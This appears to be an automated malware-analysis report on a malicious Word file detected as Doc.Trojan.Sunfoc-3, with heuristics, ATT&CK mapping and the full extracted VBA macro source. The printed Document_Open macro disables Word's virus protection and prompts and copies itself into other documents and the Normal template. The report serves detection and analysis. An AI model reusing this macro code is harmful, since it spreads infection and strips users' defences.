MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a malicious Word document containing VBA macros. The Document_Open macro is designed to disable virus protection and macro confirmation settings, then overwrite the document's content with itself, likely to prepare for or execute a secondary payload. The ClamAV detection as 'Doc.Trojan.Sunfoc-3' further supports its malicious nature.
Heuristics 3
-
ClamAV: Doc.Trojan.Sunfoc-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Sunfoc-3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 756 bytes |
SHA-256: 71dfb9dad41f4c5413c6a7c2291c925284c903777e3cb97c5de2668748dd54b5 |
|||
|
Detection
ClamAV:
Doc.Trojan.Sunfoc-3
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() Set A = Options A.VirusProtection = 0 A.SaveNormalPrompt = 0 A.ConfirmConversions = 0 For B = 1 To 3 If B = 1 Then Set C = ThisDocument Else If B = 2 Then Set C = ActiveDocument Else If B = 3 Then Set C = NormalTemplate Set D = C.VBProject.VBComponents.Item(1).CodeModule If B = 1 Then E = D.Lines(1, D.CountOfLines) If B <> 1 Then D.DeleteLines 1, D.CountOfLines If B <> 1 Then D.Addfromstring E Next ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End Sub |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.